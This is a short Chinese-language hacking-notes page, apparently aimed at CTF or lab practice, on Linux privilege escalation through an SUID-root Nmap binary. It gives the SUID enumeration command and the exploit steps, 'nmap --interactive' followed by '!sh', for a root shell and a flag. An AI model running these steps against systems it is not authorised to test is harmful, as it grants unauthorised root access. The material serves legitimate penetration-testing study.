> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-nmap-linux-privilege-escalation.md).
# SUID（Nmap）- Linux 权限提升
SUID（Nmap）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动特权 shell，或执行攻击者控制的代码。此特定页面侧重于 **SUID（Nmap）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
find / -perm -4000 -type f 2>/dev/null
```
## 示例
#### SUID 文件发现
我们使用以下命令查找启用 SUID 位的文件：
```bash
find / -perm -4000 2>/dev/null
```
#### Nmap 识别
在列出的文件中，我们找到 **Nmap**.
#### 利用
Nmap 可在交互模式下使用，以 root 身份执行命令。步骤如下：
以交互模式启动 Nmap：
```bash
nmap --interactive
```
像 root 一样运行命令，例如：
```bash
!whoami
```
它会显示“root”。
获取 root shell：
```bash
!sh
```
一旦进入 root shell，访问 **root 文件. txt** 来获取 flag。
---
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